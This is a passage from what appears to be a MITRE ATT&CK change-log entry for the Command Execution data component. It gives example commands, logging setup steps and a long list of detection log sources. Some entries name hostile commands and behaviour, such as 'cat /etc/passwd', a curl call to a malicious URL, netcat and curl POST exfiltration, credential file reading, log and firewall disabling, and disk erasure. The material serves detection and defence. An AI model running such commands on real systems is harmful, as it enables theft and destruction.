Shell\n - ls \u2013 Lists files in a directory.\n - cat /etc/passwd \u2013 Reads the user accounts file.\n - curl http://malicious-site.com \u2013 Retrieves content from a malicious URL.\n- Container Environments\n - docker exec \u2013 Executes a command inside a running container.\n - kubectl exec \u2013 Runs commands in Kubernetes pods.\n- macOS Terminal\n - open \u2013 Opens files or URLs.\n - dscl . -list /Users \u2013 Lists all users on the system.\n - osascript -e \u2013 Executes AppleScript commands.\n\nThis data component can be collected through the following measures:\n\nEnable Command Logging\n\n- Windows:\n - Enable PowerShell logging: `Set-ExecutionPolicy Bypass`, `Set-ItemProperty -Path \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\" -Name EnableScriptBlockLogging -Value 1`\n - Enable Windows Event Logging:\n - Event ID 4688: Tracks process creation, including command-line arguments.\n - Event ID 4104: Logs PowerShell script block execution.\n- Linux/macOS:\n - Enable shell history logging in `.bashrc` or `.zshrc`: `export HISTTIMEFORMAT=\"%d/%m/%y %T \"`, `export PROMPT_COMMAND='history -a; history -w'`\n - Use audit frameworks (e.g., `auditd`) to log command executions. Example rule to log all `execve` syscalls: `-a always,exit -F arch=b64 -S execve -k cmd_exec`\n- Containers:\n - Use runtime-specific tools like Docker\u2019s --log-driver or Kubernetes Audit Logs to capture exec commands.\n\nIntegrate with Centralized Logging\n\n- Collect logs using a SIEM (e.g., Splunk) or cloud-based log aggregation tools like AWS CloudWatch or Azure Monitor. Example Splunk Search for Windows Event 4688:\n`index=windows EventID=4688 CommandLine=*`\n\nUse Endpoint Detection and Response (EDR) Tools\n\n- Monitor command executions via EDR solutions \n\nDeploy Sysmon for Advanced Logging (Windows)\n\n- Use Sysmon's Event ID 1 to log process creation with command-line arguments", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Command", + "channel": "None" + }, + { + "name": "auditd:SYSCALL", + "channel": "execution of realmd, samba-tool, or ldapmodify with user-related arguments" + }, + { + "name": "macos:unifiedlog", + "channel": "dsconfigad or dscl with create or append options for AD-bound users" + }, + { + "name": "EDR:AMSI", + "channel": "None" + }, + { + "name": "linux:syslog", + "channel": "/var/log/syslog or journalctl" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "Get-ADTrust|GetAllTrustRelationships" + }, + { + "name": "gcp:audit", + "channel": "None" + }, + { + "name": "auditd:SYSCALL", + "channel": "Execution of script interpreters by systemd timer (ExecStart)" + }, + { + "name": "AWS:CloudTrail", + "channel": "InvokeFunction" + }, + { + "name": "m365:unified", + "channel": "Automated forwarding or file sync initiated by a logic app" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + }, + { + "name": "linux:syslog", + "channel": "Suspicious script or command execution targeting browser folders" + }, + { + "name": "esxi:shell", + "channel": "snapshot create/copy, esxcli" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Commands like systemctl stop , service stop, or kill -9 " + }, + { + "name": "macos:unifiedlog", + "channel": "launchctl unload, kill, or pkill commands affecting daemons or background services" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of security-agent detection or enumeration commands" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream --predicate" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "Execution of Microsoft script to enumerate custom forms in Outlook mailbox" + }, + { + "name": "m365:messagetrace", + "channel": "Inbound email triggers execution of mailbox-stored custom form" + }, + { + "name": "auditd:EXECVE", + "channel": "Use of mv or cp to rename files with '.' prefix" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of chflags hidden or SetFile -a V" + }, + { + "name": "esxi:shell", + "channel": "interactive shell" + }, + { + "name": "networkdevice:cli", + "channel": "CLI command" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream" + }, + { + "name": "esxi:vmkernel", + "channel": "/var/log/vmkernel.log" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve calls to locale, timedatectl, or cat /etc/timezone" + }, + { + "name": "macos:unifiedlog", + "channel": "defaults read -g AppleLocale, systemsetup -gettimezone" + }, + { + "name": "macos:unifiedlog", + "channel": "profiles install -type=configuration" + }, + { + "name": "auditd:SYSCALL", + "channel": "sleep function usage or loops (nanosleep, usleep) in scripts" + }, + { + "name": "m365:unified", + "channel": "Search-Mailbox, Get-MessageTrace, eDiscovery requests" + }, + { + "name": "EDR:cli", + "channel": "Command Line Telemetry" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream --predicate 'eventMessage contains \"loginwindow\" or \"pfctl\"'" + }, + { + "name": "networkdevice:syslog", + "channel": "Command Audit / Configuration Change" + }, + { + "name": "WinEventLog:Microsoft-Office/OutlookAddinMonitor", + "channel": "Outlook loading add-in via unexpected load path or non-default profile context" + }, + { + "name": "macos:unifiedlog", + "channel": "exec or sudo usage with NOPASSWD context or echo modifying sudoers" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4104" + }, + { + "name": "WinEventLog:Powershell", + "channel": "EventCode=4104" + }, + { + "name": "auditd:EXECVE", + "channel": "execve: Execution of update-ca-certificates or trust anchor modification commands" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of /usr/bin/security add-trusted-cert or keychain modifications to System.keychain" + }, + { + "name": "auditd:EXECVE", + "channel": "gcore, gdb, strings, hexdump execution" + }, + { + "name": "auditd:SYSCALL", + "channel": "connect, execve, write" + }, + { + "name": "esxi:hostd", + "channel": "command execution" + }, + { + "name": "auditd:EXECVE", + "channel": "Execution of auditctl, systemctl stop auditd, or kill -9 auditd" + }, + { + "name": "macos:syslog", + "channel": "system.log" + }, + { + "name": "esxi:hostd", + "channel": "/var/log/hostd.log" + }, + { + "name": "esxi:shell", + "channel": "/var/log/shell.log" + }, + { + "name": "docker:daemon", + "channel": "docker exec or docker run with unexpected command/entrypoint" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve call including 'nohup' or trailing '&'" + }, + { + "name": "macos:unifiedlog", + "channel": "nohup, disown, or osascript execution patterns" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "CommandLine=copy-item or robocopy from UNC path" + }, + { + "name": "esxi:shell", + "channel": "invoked remote scripts (esxcli)" + }, + { + "name": "auditd:EXECVE", + "channel": "execution of systemctl with subcommands start, stop, enable, disable" + }, + { + "name": "networkdevice:cli", + "channel": "Policy Update" + }, + { + "name": "auditd:SYSCALL", + "channel": "None" + }, + { + "name": "AWS:CloudTrail", + "channel": "eventName: RunInstances, CreateUser, PutRolePolicy, InvokeCommand" + }, + { + "name": "gcp:audit", + "channel": "methodName: setIamPolicy, startInstance, createServiceAccount" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Commands executed within an SSH session where no matching logon/authentication event exists" + }, + { + "name": "esxi:hostd", + "channel": "modification of config files or shell command execution" + }, + { + "name": "kubernetes:audit", + "channel": "Shell process (e.g., /bin/sh, /bin/bash) spawned in a container without an interactive session attached (i.e., automation anomaly)" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of 'profiles install -type=configuration'" + }, + { + "name": "macos:unifiedlog", + "channel": "subsystem:com.apple.Terminal" + }, + { + "name": "networkdevice:syslog", + "channel": "eventlog" + }, + { + "name": "esxi:hostd", + "channel": "shell access or job registration" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "PowerShell launched from outlook.exe or triggered without user invocation" + }, + { + "name": "m365:messagetrace", + "channel": "Inbound email matches crafted rule trigger pattern tied to persistence logic" + }, + { + "name": "linus:syslog", + "channel": "None" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4103,4104" + }, + { + "name": "linux:syslog", + "channel": "Unusual outbound transfers from CLI tools like base64, gzip, or netcat" + }, + { + "name": "macos:unifiedlog", + "channel": "base64 or curl processes chained within short execution window" + }, + { + "name": "esxi:shell", + "channel": "base64 or gzip use within shell session" + }, + { + "name": "macos:unifiedlog", + "channel": "exec: Invocation of /usr/bin/defaults write or /usr/bin/plutil modifying plist keys" + }, + { + "name": "auditd:SYSCALL", + "channel": "chmod, execve" + }, + { + "name": "macos:unifiedlog", + "channel": "chmod command with arguments including '+s', 'u+s', or numeric values 4000\u20136777" + }, + { + "name": "macos:unifiedlog", + "channel": "command includes dscl . delete or sysadminctl --deleteUser" + }, + { + "name": "fs:fsusage", + "channel": "file system activity monitor" + }, + { + "name": "networkdevice:cli", + "channel": "ip ssh pubkey-chain" + }, + { + "name": "esxi:shell", + "channel": "scripts or binaries with misleading names" + }, + { + "name": "auditd:EXECVE", + "channel": "Execution of GUI-related binaries with suppressed window/display flags" + }, + { + "name": "linuxsyslog", + "channel": "nslcd or winbind logs" + }, + { + "name": "macos:unifiedlog", + "channel": "DS daemon log entries" + }, + { + "name": "esxi:hostd", + "channel": "logline inspection" + }, + { + "name": "macos:unifiedlog", + "channel": "diskutil eraseDisk / asr restore with destructive flags" + }, + { + "name": "networkdevice:cli", + "channel": "erase flash:, erase startup-config, format disk" + }, + { + "name": "networkdevice:syslog", + "channel": "command_exec" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: iptables, nft, firewall-cmd modifications" + }, + { + "name": "macos:unifiedlog", + "channel": "pfctl -d, socketfilterfw --setglobalstate off, or modifications to com.apple.alf" + }, + { + "name": "esxi:hostd", + "channel": "esxcli network firewall set commands" + }, + { + "name": "docker:events", + "channel": "container exec rm|container stop --force" + }, + { + "name": "esxi:hostd", + "channel": "event stream" + }, + { + "name": "networkdevice:cli", + "channel": "CLI command logs" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4103" + }, + { + "name": "esxi:shell", + "channel": "/var/log/shell.log entries containing \"esxcli system clock get\"" + }, + { + "name": "networkdevice:syslog", + "channel": "command-exec: CLI commands containing \"show clock\", \"show clock detail\", \"show timezone\" executed by suspicious user/source" + }, + { + "name": "networkdevice:cli", + "channel": "cmd: cmd=show clock detail" + }, + { + "name": "auditd:EXECVE", + "channel": "curl -X POST, wget --post-data" + }, + { + "name": "linux:syslog", + "channel": "sudo chage|grep pam_pwquality|cat /etc/login.defs" + }, + { + "name": "macos:unifiedlog", + "channel": "pwpolicy|PasswordPolicy" + }, + { + "name": "networkdevice:syslog", + "channel": "cmd='show aaa*' OR 'show running-config | include password|aaa' OR 'show aaa common-criteria policy all'" + }, + { + "name": "networkdevice:syslog", + "channel": "CLI command audit" + }, + { + "name": "networkdevice:cli", + "channel": "Execution of commands to load, copy, or replace system images (e.g., 'copy tftp flash', 'boot system')" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "Execution of PowerShell script to enumerate or remove malicious Home Page folder config" + }, + { + "name": "m365:messagetrace", + "channel": "Inbound email triggering Outlook to auto-access folder tied to malicious Home Page" + }, + { + "name": "macos:unifiedlog", + "channel": "Command line contains smbutil view //, mount_smbfs //" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Invocation of scp, rsync, curl, or sftp" + }, + { + "name": "esxi:hostd", + "channel": "scp/ssh used to move file across hosts" + }, + { + "name": "auditd:EXECVE", + "channel": "command line arguments containing lsblk, fdisk, parted" + }, + { + "name": "macos:unifiedlog", + "channel": "log messages related to disk enumeration context or Terminal session" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve calls modifying local mail filter configuration files" + }, + { + "name": "esxi:hostd", + "channel": "None" + }, + { + "name": "esxi:shell", + "channel": "None" + }, + { + "name": "networkdevice:cli", + "channel": "None" + }, + { + "name": "linux:syslog", + "channel": "sudo execution of ffmpeg/gst-launch/v4l2-ctl by non-standard user" + }, + { + "name": "docker:api", + "channel": "docker logs access or container inspect commands from non-administrative users" + }, + { + "name": "esxi:shell", + "channel": "command IN (\"esxcli vm process list\", \"vim-cmd vmsvc/getallvms\")" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: process_name IN (\"virsh\", \"VBoxManage\", \"qemu-img\") AND command IN (\"list\", \"info\")" + }, + { + "name": "esxi:shell", + "channel": "openssl|tar|dd" + }, + { + "name": "AWS:CloudTrail", + "channel": "SSM RunCommand" + }, + { + "name": "azure:activity", + "channel": "Intune PowerShell Scripts" + }, + { + "name": "m365:exchange", + "channel": "Cmdlet: Get-GlobalAddressList, Get-Recipient" + }, + { + "name": "networkdevice:cli", + "channel": "Execution of commands like 'show running-config', 'copy running-config', or 'export config'" + }, + { + "name": "esxi:syslog", + "channel": "boot logs" + }, + { + "name": "networkdevice:syslog", + "channel": "system boot logs" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: service stop syslog, systemctl stop rsyslog, kill -9 syslog" + }, + { + "name": "macos:unifiedlog", + "channel": "defaults write com.apple.system.logging or logd manipulation" + }, + { + "name": "esxi:hostd", + "channel": "esxcli system syslog config set or reload" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: openssl pkcs12, certutil, keytool" + }, + { + "name": "macos:unifiedlog", + "channel": "process calling security find-certificate, export, or import" + }, + { + "name": "networkdevice:cli", + "channel": "Execution of CLI commands altering crypto parameters (e.g., 'crypto key generate rsa modulus 512')" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Process in container namespace executes curl|wget|bash|sh|python|nc with outbound args" + }, + { + "name": "m365:exchange", + "channel": "Get-RoleGroup, Get-DistributionGroup" + }, + { + "name": "auditd:SYSCALL", + "channel": "execution of systemctl or service with enable/start parameters" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of cat, less, grep, journalctl targeting log directories (/var/log/)" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of log show, fs_usage, or cat targeting system.log" + }, + { + "name": "AWS:CloudTrail", + "channel": "GetLogEvents: High frequency log exports from CloudWatch or equivalent services" + }, + { + "name": "esxi:shell", + "channel": "Execution of cat, tail, grep targeting /var/log/vmkernel.log or /var/log/hostd.log" + }, + { + "name": "esxi:shell", + "channel": "CLI usage logs" + }, + { + "name": "macos:syslog", + "channel": "/var/log/system.log" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of launchctl load/unload/start commands" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "Exchange Cmdlets" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of python, perl, or custom binaries invoking compression libraries" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve, USER_CMD" + }, + { + "name": "auditd:USER_CMD", + "channel": "USER_CMD" + }, + { + "name": "esxi:shell", + "channel": "Command execution trace" + }, + { + "name": "auditd:SYSCALL", + "channel": "bash/zsh of base64, tar, gzip, or openssl immediately after file write" + }, + { + "name": "linux:osquery", + "channel": "Command-line includes base64 -d or openssl enc -d" + }, + { + "name": "macos:unifiedlog", + "channel": "base64 -d or osascript invoked on staged file" + }, + { + "name": "auditd:EXECVE", + "channel": "exec: Execution of dd, efibootmgr, or flashrom modifying firmware/boot partitions" + }, + { + "name": "auditd:EXECVE", + "channel": "curl -d, wget --post-data" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Processes executing sendmail/postfix with forged headers" + }, + { + "name": "macos:unifiedlog", + "channel": "diskutil partitionDisk or eraseVolume with partition scheme modifications" + }, + { + "name": "networkdevice:cli", + "channel": "format flash:, format disk, reformat commands" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of tar, gzip, bzip2, xz, zip, or openssl with compression/encryption arguments" + }, + { + "name": "auditd:PROCTITLE", + "channel": "proctitle contains chmod, chown, setfacl, or attr commands with suspicious parameters" + }, + { + "name": "esxi:shell", + "channel": "shell command execution for chmod, chown, or file permission modification on VMFS or system files" + }, + { + "name": "networkdevice:Firewall", + "channel": "Audit trail or CLI/API access indicating commands like no access-list, delete rule-set, clear config" + }, + { + "name": "auditd:EXECVE", + "channel": "grep/cat/awk on files with password fields" + }, + { + "name": "macos:unifiedlog", + "channel": "grep/cat on files matching credential patterns" + }, + { + "name": "kubernetes:audit", + "channel": "process execution involving curl, grep, or awk on secrets" + }, + { + "name": "AWS:CloudTrail", + "channel": "command-line execution invoking credential enumeration" + }, + { + "name": "auditd:SYSCALL", + "channel": "promiscuous mode transitions (ioctl or ifconfig)" + }, + { + "name": "fs:fsusage", + "channel": "access to BPF devices or interface IOCTLs" + }, + { + "name": "networkdevice:syslog", + "channel": "exec command='monitor capture'" + }, + { + "name": "WinEventLog:Microsoft-Office-Alerts", + "channel": "Unexpected DLL or component loaded at Office startup" + }, + { + "name": "m365:office", + "channel": "Startup execution includes non-default component" + }, + { + "name": "macos:unifiedlog", + "channel": "diskutil eraseDisk/zeroDisk or asr restore with destructive flags" + }, + { + "name": "networkdevice:cli", + "channel": "erase flash:, erase nvram:, format disk" + }, + { + "name": "macos:unifiedlog", + "channel": "spctl --master-disable, csrutil disable, or defaults write to disable Gatekeeper" + }, + { + "name": "esxi:shell", + "channel": "esxcli system syslog config set --loghost='' or stopping hostd service" + }, + { + "name": "networkdevice:syslog", + "channel": "no logging buffered, no aaa new-model, disable firewall" + }, + { + "name": "auditd:EXECVE", + "channel": "git push, curl -X POST" + }, + { + "name": "linux:cli", + "channel": "command logging" + }, + { + "name": "esxi:hostd", + "channel": "command log" + }, + { + "name": "networkdevice:cli", + "channel": "command logs" + }, + { + "name": "networkdevice:syslog", + "channel": "interactive shell logging" + }, + { + "name": "esxi:hostd", + "channel": "Execution of '/bin/vmx' or modifications to '/etc/rc.local.d/local.sh'" + }, + { + "name": "auditd:SYSCALL", + "channel": "chattr, rm, shred, dd run on recovery directories or partitions" + }, + { + "name": "networkdevice:syslog", + "channel": "command sequence: erase \u2192 format \u2192 reload" + }, + { + "name": "macos:unifiedlog", + "channel": "process: at, job runner" + }, + { + "name": "macos:osquery", + "channel": "Interpreter exec with suspicious arguments as above" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of curl or wget writing files to /tmp/* followed by chmod or execution" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of downgraded interpreters such as python2 or forced fallback commands" + }, + { + "name": "auditd:PROCTITLE", + "channel": "proctitle contains chmod, chown, chgrp, setfacl, or attr with suspicious parameters (777, 755, +x, -R)" + }, + { + "name": "auditd:EXECVE", + "channel": "Execution of gsettings set org.gnome.login-screen disable-user-list true" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of dscl . create with IsHidden=1" + }, + { + "name": "linux:syslog", + "channel": "sshd logs" + }, + { + "name": "esxi:shell", + "channel": "Shell Access/Command Execution" + }, + { + "name": "networkdevice:syslog", + "channel": "CLI Command Logging" + }, + { + "name": "auditd:CONFIG_CHANGE", + "channel": "udev rule reload or trigger command executed" + }, + { + "name": "linux:cli", + "channel": "Shell history logs" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream --predicate 'processImagePath contains \"zip\" OR \"base64\"'" + }, + { + "name": "networkdevice:cli", + "channel": "command logging" + }, + { + "name": "esxi:hostd", + "channel": "Command Execution" + }, + { + "name": "macos:osquery", + "channel": "launchd + process_events" + }, + { + "name": "esxi:vmkernel", + "channel": "DCUI shell start, BusyBox activity" + }, + { + "name": "esxi:hostd", + "channel": "remote CLI + vim-cmd logging" + }, + { + "name": "networkdevice:syslog", + "channel": "CLI Command Audit" + }, + { + "name": "m365:defender", + "channel": "Activity Log: Command Invocation" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "CmdletName: Get-Recipient, Get-User" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "Execution of 'Get-WmiObject Win32_Product' or similar PowerShell cmdlets" + }, + { + "name": "linux:shell", + "channel": "Manual invocation of software enumeration commands via interactive shell" + }, + { + "name": "auditd:SYSCALL", + "channel": "Command line arguments including SPApplicationsDataType" + }, + { + "name": "AWS:CloudTrail", + "channel": "ssm:GetCommandInvocation" + }, + { + "name": "esxi:shell", + "channel": "esxcli software vib list" + }, + { + "name": "auditd:EXECVE", + "channel": "execution of setfattr or getfattr commands" + }, + { + "name": "macos:unifiedlog", + "channel": "xattr utility execution with -w or -p flags" + }, + { + "name": "auditd:SYSCALL", + "channel": "Execution of spoofing tools (e.g., hping3, nping, scapy) sending UDP packets to known amplifier ports" + }, + { + "name": "auditd:SYSCALL", + "channel": "execution of tools like cat, grep, or awk on credential files" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of 'security', 'cat', or 'grep' commands accessing credential storage" + }, + { + "name": "linux:syslog", + "channel": "CLI access to 'show running-config', 'show password', or 'cat config.txt'" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve of curl, rsync, wget with internal knowledge base or IPs" + }, + { + "name": "esxi:shell", + "channel": "/root/.ash_history" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of systemctl, loginctl, or systemd-inhibit commands related to sleep/hibernate" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4103,4104,4105, 4106" + }, + { + "name": "auditd:SYSCALL", + "channel": "Execution of xev, xdotool, or input activity emulators" + }, + { + "name": "macos:unifiedlog", + "channel": "launchctl load or boot-time plist registration" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of interpreters creating archive-like outputs without calling tar/gzip" + }, + { + "name": "networkdevice:syslog", + "channel": "command audit" + }, + { + "name": "networkdevice:cli", + "channel": "Interface commands" + }, + { + "name": "macos:unifiedlog", + "channel": "dscl -create" + }, + { + "name": "esxi:vmkernel", + "channel": "esxcli system account add" + }, + { + "name": "ebpf:syscalls", + "channel": "useradd or /etc/passwd modified inside container" + }, + { + "name": "auditd:SYSCALL", + "channel": "Execution of insmod, modprobe, or rmmod commands by non-standard users or outside expected timeframes" + }, + { + "name": "macos:unifiedlog", + "channel": "kextload execution from Terminal or suspicious paths" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "Execution of PowerShell without -NoProfile flag" + }, + { + "name": "auditd:EXECVE", + "channel": "Process execution of update-ca-certificates or openssl with suspicious arguments" + }, + { + "name": "macos:unifiedlog", + "channel": "xattr -d com.apple.quarantine or similar removal commands" + }, + { + "name": "azure:signinLogs", + "channel": "OperationName=SetDomainAuthentication OR Update-MsolFederatedDomain" + }, + { + "name": "linux:syslog", + "channel": "Sudo or root escalation followed by filesystem mount commands" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4101" + }, + { + "name": "networkdevice:cli", + "channel": "Execution of privileged commands such as 'copy tftp flash', 'boot system', or 'debug memory'" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4105" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4106" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve syscalls for discovery commands (uname, hostname, id, whoami, ps, netstat, mount) with command-line parameter analysis" + }, + { + "name": "auditd:PROCTITLE", + "channel": "process title records containing discovery command sequences and environmental assessment patterns" + }, + { + "name": "macos:unifiedlog", + "channel": "Security framework operations including keychain access, cryptographic operations, and certificate validation" + }, + { + "name": "m365:unified", + "channel": "Set-Mailbox, New-InboxRule" + }, + { + "name": "macos:unifiedlog", + "channel": "None" + }, + { + "name": "networkdevice:cli", + "channel": "Execution of commands disabling crypto hardware acceleration (e.g., 'no crypto engine enable')" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of curl, wget, or custom scripts accessing financial endpoints" + }, + { + "name": "auditd:EXECVE", + "channel": "Execution of chattr to set +i or +a attributes" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of chflags hidden or setfile -a V" + }, + { + "name": "esxi:shell", + "channel": "mv, rename, or chmod commands moving VM files into hidden directories" + }, + { + "name": "esxi:hostd", + "channel": "execution + payload hints" + }, + { + "name": "linux:osquery", + "channel": "process_events.command_line" + }, + { + "name": "macos:unifiedlog", + "channel": "process:spawn, process:exec" + }, + { + "name": "esxi:vobd", + "channel": "shell session start" + }, + { + "name": "networkdevice:cli", + "channel": "shell command" + }, + { + "name": "WinEventLog:Microsoft-Office-Alerts", + "channel": "Office application warning or alert on macro execution from template" + }, + { + "name": "m365:unified", + "channel": "Set-Mailbox, Set-MailboxPolicy, Set-TrustedLocation" + }, + { + "name": "m365:office", + "channel": "Execution of unsigned macro from template" + }, + { + "name": "linux:cli", + "channel": "Terminal Command History" + }, + { + "name": "macos:unifiedlog", + "channel": "csrutil disable" + }, + { + "name": "macos:unifiedlog", + "channel": "log show --predicate 'process == '" + }, + { + "name": "networkdevice:syslog", + "channel": "Privilege-level command execution" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of tar, gzip, bzip2, or openssl with output redirection" + }, + { + "name": "saas:PRMetadata", + "channel": "Commit message or branch name contains encoded strings or payload indicators" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of launchctl with setenv or bootout targeting TCC.db or AppleScript under Finder context" + }, + { + "name": "esxi:shell", + "channel": "`esxcli software vib install` with `--force` or `--no-sig-check` from shell history or `shell.log`" + }, + { + "name": "AWS:CloudTrail", + "channel": "SendCommand, StartSession, ExecuteCommand: Unexpected AWS Systems Manager command execution targeting EC2 instances" + }, + { + "name": "esxi:vmkernel", + "channel": "Unexpected restarts of management agents or shell access" + }, + { + "name": "auditd:EXECVE", + "channel": "curl or wget with POST/PUT options" + }, + { + "name": "networkdevice:syslog", + "channel": "Detected CLI command to export key material" + }, + { + "name": "networkdevice:config", + "channel": "PKI export or certificate manipulation commands" + }, + { + "name": "macos:unifiedlog", + "channel": "command execution triggered by emond (e.g., shell, curl, python)" + }, + { + "name": "esxi:vmkernel", + "channel": "esxcli, vim-cmd invocation" + }, + { + "name": "esxi:shell", + "channel": "CLI session activity" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve=/sbin/shutdown or /sbin/reboot" + }, + { + "name": "esxi:shell", + "channel": "esxcli system shutdown or reboot invoked" + }, + { + "name": "networkdevice:syslog", + "channel": "reload command issued" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4103, 4104" + }, + { + "name": "auditd:PROCTITLE", + "channel": "command-line execution patterns for system discovery utilities (uname, hostname, ifconfig, netstat, lsof, ps, mount)" + }, + { + "name": "esxi:shell", + "channel": "shell command execution for system discovery (vim-cmd, esxcli, vmware-cmd) targeting VM inventory and host configuration" + }, + { + "name": "vpxd.log", + "channel": "VM inventory queries and configuration enumeration through vCenter API calls" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve calls modifying HISTFILE or HISTCONTROL via unset/export" + }, + { + "name": "macos:unifiedlog", + "channel": "Set or unset HIST* variables in shell environment" + }, + { + "name": "esxi:shell", + "channel": "unset HISTFILE or HISTFILESIZE modifications" + }, + { + "name": "networkdevice:cli", + "channel": "Commands like 'no logging' or equivalents that disable session history" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve calls to /usr/bin/locale or shell execution of $LANG" + }, + { + "name": "macos:unifiedlog", + "channel": "defaults read -g AppleLocale or systemsetup -gettimezone" + }, + { + "name": "networkdevice:cli", + "channel": "Execution of commands such as 'copy tftp flash', 'boot system ', 'reload'" + }, + { + "name": "auditd:EXECVE", + "channel": "curl -T, rclone copy" + }, + { + "name": "auditd:SYSCALL", + "channel": "execution of systemctl or service with enable/start/modify" + }, + { + "name": "macos:unifiedlog", + "channel": "launchctl load/unload or plist file modification" + }, + { + "name": "networkdevice:syslog", + "channel": "syslog facility LOCAL7 or trap messages" + }, + { + "name": "linux:cli", + "channel": "/home/*/.bash_history" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of lsmod, modinfo, or cat /proc/modules" + }, + { + "name": "networkdevice:config", + "channel": "Configuration changes referencing 'boot system tftp' or modification of startup-config pointing to external TFTP servers" + }, + { + "name": "macos:unifiedlog", + "channel": "dscl . -create" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of commands like `ls -l@`, `xattr -l`, or custom tools interacting with resource forks" + }, + { + "name": "esxi:vpxd", + "channel": "vCenter Management" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "mobile-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0064\", \"external_id\": \"DC0064\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Command\", \"channel\": \"None\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execution of realmd, samba-tool, or ldapmodify with user-related arguments\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"dsconfigad or dscl with create or append options for AD-bound users\"}, {\"name\": \"EDR:AMSI\", \"channel\": \"None\"}, {\"name\": \"linux:syslog\", \"channel\": \"/var/log/syslog or journalctl\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"Get-ADTrust|GetAllTrustRelationships\"}, {\"name\": \"gcp:audit\", \"channel\": \"None\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Execution of script interpreters by systemd timer (ExecStart)\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"InvokeFunction\"}, {\"name\": \"m365:unified\", \"channel\": \"Automated forwarding or file sync initiated by a logic app\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"EventCode=4104\"}, {\"name\": \"linux:syslog\", \"channel\": \"Suspicious script or command execution targeting browser folders\"}, {\"name\": \"esxi:shell\", \"channel\": \"snapshot create/copy, esxcli\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Commands like systemctl stop , service stop, or kill -9 \"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchctl unload, kill, or pkill commands affecting daemons or background services\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of security-agent detection or enumeration commands\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream --predicate\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"Execution of Microsoft script to enumerate custom forms in Outlook mailbox\"}, {\"name\": \"m365:messagetrace\", \"channel\": \"Inbound email triggers execution of mailbox-stored custom form\"}, {\"name\": \"auditd:EXECVE\", 